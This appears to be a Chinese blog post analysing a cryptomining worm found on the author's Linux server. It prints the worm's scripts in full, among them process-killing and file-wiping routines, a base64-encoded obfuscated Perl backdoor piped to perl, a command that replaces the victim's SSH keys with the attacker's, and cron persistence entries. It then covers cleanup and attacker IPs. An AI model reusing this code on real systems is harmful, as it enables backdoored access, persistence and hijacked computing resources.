之前服务器总是有一些异地登陆的告警信息，用代理就会这样，自己也没太在意。今天偶然间打开一看，发现如下提示！

接下来处理一下！

收集信息

finalshell登陆发现CPU占用率为100%
ps auxw|head -1;ps auxw|sort -rn -k3|head -10 查看CPU占用最多的前10个进程

罪魁祸首是第一个，其PID是3124。ls -ail /proc]/PID查看其绝对路径

.configrc文件内容如下(.configrc的名字是为了把自己和.config文件混淆)

先查看a文件

其中run文件内容如下：

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`if [ "$ARCH" == "i686" ]; thennohup ./anacron >>/dev/null &elif [ "$ARCH" == "x86_64" ];   then./kswapd0fi #闭合if
echo $! > bash.pid #用来判断run是否执行过

其先执行stop，再执行init0，然后把当前的路径写到dir.dir。根据是86位还是64位，执行不同的程序。

dir.dir内容如下：

/root/.configrc/a

stop内容如下

#!/bin/sh#cron守护周期性的执行任务
pkill -9 cron
killall -9 cron
kill -9 `ps x|grep cron|grep -v grep|awk '{print $1}'`>.proc#删除自己冒充的对象
pkill -9 kswapd0
killall -9 kswapd0
kill -9 `ps x|grep kswapd0|grep -v grep|awk '{print $1}'`>.proc#进程管理
pkill -9 systemd
killall -9 systemd
kill -9 `ps x|grep systemd|grep -v grep|awk '{print $1}'`>.proc#动态链接加载
pkill -9 ld-linux
killall -9 ld-linux
kill -9 `ps x|grep ld-linux|grep -v grep|awk '{print $1}'`>.proc#权限管理
pkill -9 Donald
killall -9 Donald
kill -9 `ps x|grep Donald|grep -v grep|awk '{print $1}'`>.proc#与挖矿有关
pkill -9 xmr
killall -9 xmr
kill -9 `ps x|grep xmr|grep -v grep|awk '{print $1}'`>.proc#服务器杀毒
pkill -9 xm64
killall -9 xm64
kill -9 `ps x|grep xm64|grep -v grep|awk '{print $1}'`>.proc
rm -rf .proc

init0内容如下。这个比较有趣，为了让自己有更多的资源，它先杀掉现有的挖矿进程。我谢谢你啊～

#!/bin/sh##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\# Killing processes by name, path, arguments and CPU utilization
processes(){killme() {killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &}killa() {what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&}killa 34e2fgkillme# Killing big CPUVAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)for word in $VARdoCPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')if [ $CPUUSAGE -gt 45 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;donekillall \.Historyskillall \.sshdkillall neptunekillall xm64killall xm32killall ld-linuxkillall xmrigkillall \.xmrigkillall suppoieuppkill -f sourplumpkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYgps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9ps auxf|grep Donald| awk '{print $2}'|xargs kill -9ps auxf|grep Macron| awk '{print $2}'|xargs kill -9ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9ps auxf|grep named| awk '{print $2}'|xargs kill -9ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9ps ax|grep -o './[0-9]* -c'| xargs pkill -fpkill -f /usr/bin/.sshdpkill -f acpidpkill -f Donaldpkill -f Macronpkill -f AnXqV.yampkill -f apacehapkill -f askdljlqwpkill -f bashepkill -f bashfpkill -f bashgpkill -f bashhpkill -f bashxpkill -f BI5zjpkill -f biosetjenkinspkill -f bonn.shpkill -f bonnspkill -f conn.shpkill -f connspkill -f cryptonightpkill -f crypto-poolpkill -f ddg.2011pkill -f deamonpkill -f disk_geniuspkill -f donnspkill -f Duck.shpkill -f gddrpkill -f Guard.shpkill -f i586pkill -f icb5opkill -f ir29xc1pkill -f irqba2anc1pkill -f irqba5xnc1pkill -f irqbalanc1pkill -f irqbalancepkill -f irqbnc1pkill -f JnKihGjnpkill -f jweripkill -f kw.shpkill -f kworker34pkill -f kxjdpkill -f libapachepkill -f Loopbackpkill -f lx26pkill -f mgwslpkill -f minerdpkill -f minergatepkill -f minexmrpkill -f mixnerdxpkill -f mstxmrpkill -f nanoWatchpkill -f nopxipkill -f NXLAipkill -f performedlpkill -f polkitdpkill -f pro.shpkill -f pythnopkill -f qW3xT.2pkill -f sourplumpkill -f stratumpkill -f sustespkill -f wnTKYgpkill -f XbashYpkill -f XJnRjpkill -f xmrigpkill -f xmrigDaemonpkill -f xmrigMinerpkill -f ysaydhpkill -f zigwpkill -f ld-linux# crondps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpidwhile read crondpiddoif [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]thenkill $crondpidrm -rf /var/tmp/v3fidone < /tmp/crondpidrm /tmp/crondpid -f# sshdps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpidwhile read sshdpiddoif [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]thenkill $sshdpidfidone < /tmp/ssdpidrm -f /tmp/ssdpid# syslogps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspidwhile read syslogpiddoif [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]thenkill  $syslogpidfidone < /tmp/syslogspidrm /tmp/syslogspid -fps x | grep 'b 22'| awk '{print $1,$5}' > .procscat .procs | while read linedopid=`echo $line | awk '{print $1;}'`name=`echo $line | awk '{print $2;}'`#echo $pid $name if [ $(echo $name | wc -c) -lt "13" ]thenecho "Found" $pid $namekill -9 $pidfidone####################################################ps x | grep 'd 22'| awk '{print $1,$5}' > .procscat .procs | while read linedopid=`echo $line | awk '{print $1;}'`name=`echo $line | awk '{print $2;}'`#echo $pid $name if [ $(echo $name | wc -c) -lt "13" ]thenecho "Found" $pid $namekill -9 $pidfidone}# Removing miners by known path IOC
files(){rm /tmp/.cronrm /tmp/Donald*rm /tmp/Macron*rm /tmp/.mainrm /tmp/.yam* -rfrm -f /tmp/irqrm -f /tmp/irq.shrm -f /tmp/irqbalanc1rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_geniusrm -rf /tmp/*httpd.confrm -rf /tmp/*httpd.conf*rm -rf /tmp/*index_bak*rm -rf /tmp/.systemd-private-*rm -rf /tmp/.xm*rm -rf /tmp/a7b104c270rm -rf /tmp/connrm -rf /tmp/connsrm -rf /tmp/httpd.confrm -rf /tmp/java*rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.sorm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ikrm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapacherm -rf /tmp/xm*rm -rf /var/tmp/java*
}# Killing and blocking miners by network related IOC
network(){# Kill by known ports/IPsnetstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}       files
processes
network
echo "DONE"

a内容如下：(检测cpu的信息)

#!/bin/sh
crontab -r  #删除定时任务。慎用
pwd > dir.dir #写入目录
dir=$(cat dir.dir)
echo "#!/bin/sh
cd $dir
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
./run &>/dev/null" > updsysctl -w vm.nr_hugepages=$(nproc)for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
doecho 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
donemodprobe msrif cat /proc/cpuinfo | grep "AMD Ryzen" > /dev/null;thenecho "Detected Ryzen"wrmsr -a 0xc0011022 0x510000wrmsr -a 0xc001102b 0x1808cc16wrmsr -a 0xc0011020 0wrmsr -a 0xc0011021 0x40echo "MSR register values for Ryzen applied"
elif cat /proc/cpuinfo | grep "Intel" > /dev/null;thenecho "Detected Intel"wrmsr -a 0x1a4 6echo "MSR register values for Intel applied"
elseecho "No supported CPU detected"
fichmod u+x upd
chmod 777 *
./upd

其中还有upd

then
exit 0
fi
fi
./run &>/dev/null

b文件夹中，内容如下。

a文件

#!/bin/sh
pwd > dir.dir
dir=$(cat dir.dir)
cd $dir
./stop
echo "#!/bin/sh     #这里的输出是用来提出执行到那一步了
cd $dir
./run">sync
chmod u+x sync
chmod u+x stop
chmod u+x ps
chmod u+x run
./run

dir.dir

/root/.configrc/b

run

#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMwVStDRE4sMzBYK0NEWSlSIVU7RlFFPFcsQCknLUU8RzlJXzkmXVIuUElNPjJgRDwmXVI9JiRdKVMwVCxSPFsiRlVZKCQhQzg2WUE6NyxdKiIoQywjYFcoQkRbIkZVWSgkIUE5JlVTLzJAQjwmXUw7J0RCKyIpTV87VlFMPjIoSS5QSU0+MiFgODc1VDojVE
......
FPPEYtRTtCKEkuUEhAKCdUKiJASEAoJylFPSc1UjtCQFAqM0wqPzBIKiJHLVU4QiFGOjdBQTkmMVIoJ0wqKCJgQF8oJlVZKCJARDg2MUQ8RjVTPFJEQC8yIWA3U0wqIkJgQCgiIUM6Jl1NPCJgRDg2MUQ8RjVTPFNMQCgiYEAoYEhAKCJgQDo2OEAqIjFBOSYxUjk3LVNfKCNVXigiXT43JjBLKSJcSSgnTCooImBAKCJgQCgiIVI5NzFVPEZYQDo2WUU9JV1OPSZdQSonIUE4VkxAKERYQisiYEQ4NjFEPEY1UzxSRFsiQmBAXygiIV0oJjVMPFZFRigiQEQ4NjFEPEY1UzxSYF0/QmBPN0VMUSxFVF83JjFbLDJQUj81UE42UyRSNzNdPDknTFErIyldNyJZOywzKT0vVVFEPlMkTF8sR1U8K0VMUSxFVF83JjFbLDJQUj8yME8qMiFbIkJgQCgiYEAoImBAPEY1VD03KU4oIjFBOSYxUjk3LVMuUEhAKCJgQD8yIUU7Jy1JOUJgSCkmJURfOScpRTxXLEAvN1hAPScoTzgyVVowMlU6K1JcSSgnTEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoYEhAKCJgQCgiYEAoJylFPSc1UjtCIUk7RjVUXzdWWVQ7ViRIKiJBRzk3MUg7Vy1UOEdFTjg2VUUqIjFBOSYxUjk3LVMqMkU7LSVUSTZTIT0qM0wqKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAKCJgQC88RjVUPTcpTi5QSEAoImBAPzBJXX0=" | base64 --decode | perlcd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
root@VM-0-3-ubuntu:~/.configrc/b#

前面base64编码了，解码之后发现还被混淆了。别人的文章指出其是一个基于perl的后门工具。

最后果然是加入密钥连接！

stop

#!/bin/sh
killall -9 rsync > .out
killall -9 sync > .out
killall -9 perl> .out
killall -9 ps
killall -9 pool>.out
killall -9 nginx>.out
killall -9 ecryptfs>.out
killall -9 xmr>.outpkill -9 ps
pkill -9 pool
pkill -9 nginx
pkill -9 ecryptfs
pkill -9 xmr
pkill -9 synckill -9 `ps x|grep ps|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep sync|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep nginx|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep ecryptfs|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep xmr|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep perl|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep rsync|grep -v grep|awk '{print $1}'`> .out
for pid in $(ps -ef | grep "rsync" | awk '{print $2}'); do kill -9 $pid; done> .out
for pid in $(ps -ef | grep "sync" | awk '{print $2}'); do kill -9 $pid; done> .out
pkill -9 rsync> .out
pkill -9 perl> .out
pkill -9 ps>.out
rm -rf .proc .out

sync

#!/bin/sh
cd /root/.configrc/b
./run

总文件

cron.d，保存要定时的内容

1 1 */2 * * /root/.configrc/a/upd>/dev/null 2>&1
@reboot /root/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.configrc/b/sync>/dev/null 2>&1
@reboot /root/.configrc/b/sync>/dev/null 2>&1  
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

删除木马

1、

rm -rf .configrc/

删除文件后CPU占用率还是100%，kill正在运行的进程

kill -9 3124

这样之后CPU恢复正常。

2、查看进程的工作空间

ps -ef | grep kswapd0

3、查看定时任务

crontab -r删除之

4、把密钥登陆中的密钥删除了。

5、tmp

tmp中查看文件，文件有很复杂的结构。它好像是把我原来的/tmp打包放在了他的某个目录下面，然后新增了几个XX-unix文件，不管了，先删除。

未找到最开始提示的.X25-unix文件，猜测可是是完成指令之后为了逃避检测自己删除了或者是改名字了。

6、排查其他用户

没有发现被感染，所以应该还是root的弱口令问题....

攻击画像

前两天学习到了攻击画像这个非常高端的名次，大致意思就是描述攻击者的身份、攻击手法等。

1、地区
netstat -antlp 查看系统外部链接

查询发现是荷兰的ip。

查看登录记录及日志文件

只看今天的日志，尝试登陆的ip有如下几个

49.232.168.182 --- 北京
104.199.35.3 --- 比利时瓦隆大区圣吉斯兰
181.53.13.181 --- 哥伦比亚
134.175.240.28 --- 广东
121.5.142.246 --- 上海
189.154.98.68 --- 墨西哥奇瓦瓦州奇瓦瓦市
212.42.199.112 --- 亚美尼亚
45.248.189.3 --- 印度
....lastb #可以列出尝试登陆的信息

原来服务器每天被尝试登陆这么多次，辛苦了1551

2、

在百度的时候，发现它和木马dota3的攻击手法非常类似。
有文章指出其是WachtdogsMiner的挖矿蠕虫的变种，伪装成kswapd0进程利用cpu挖门罗币。运行机制如下：